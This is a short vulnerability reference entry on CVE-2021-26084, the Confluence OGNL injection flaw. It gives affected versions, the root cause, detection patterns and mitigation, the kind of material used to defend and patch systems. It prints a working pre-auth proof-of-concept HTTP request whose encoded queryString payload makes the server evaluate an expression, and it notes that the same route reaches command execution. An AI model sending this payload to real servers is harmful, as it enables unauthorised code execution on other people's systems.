Confluence Webwork OGNL Injection (2021)

aka CONFSERVER-67940

Product: Atlassian Confluence Server / Data Center
CVE: CVE-2021-26084
Disclosed: 2021-08-25
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: < 6.13.23, 6.14.0 - 7.4.10, 7.5.0 - 7.11.5, 7.12.0 - 7.12.4
Fixed: 6.13.23, 7.4.11, 7.11.6, 7.12.5, 7.13.0

Summary

Several Confluence Velocity templates passed a user-supplied queryString parameter into a Webwork OGNL evaluation. On most instances the vulnerable endpoints are reachable without logging in, and exploitation began within a week of disclosure (it was used against US Cyber Command-tracked targets).

Root cause

Templates such as createpage-entervariables.vm render request parameters inside #tag attributes, which Webwork evaluates as OGNL. Escaping with \u0027 breaks out of the string context, and the payload can reach javax.script.ScriptEngineManager to run commands, bypassing Confluence's OGNL blocklist.

Impact

Unauthenticated (on default configs) RCE as the Confluence service account.

Public PoC

POST /pages/doenterpagevariables.action HTTP/1.1
Host: target:8090
Content-Type: application/x-www-form-urlencoded

# evaluates 233*233 -> 54289 in response
queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

Source: vulhub / confluence/CVE-2021-26084

Detection

Look for POSTs to /pages/doenterpagevariables.action, /pages/createpage-entervariables.action etc. containing 'queryString' with '\u0027' or '%5cu0027'. nuclei template CVE-2021-26084.

Mitigation

Upgrade to a fixed version or apply Atlassian's cc-workaround-cve-2021-26084 script.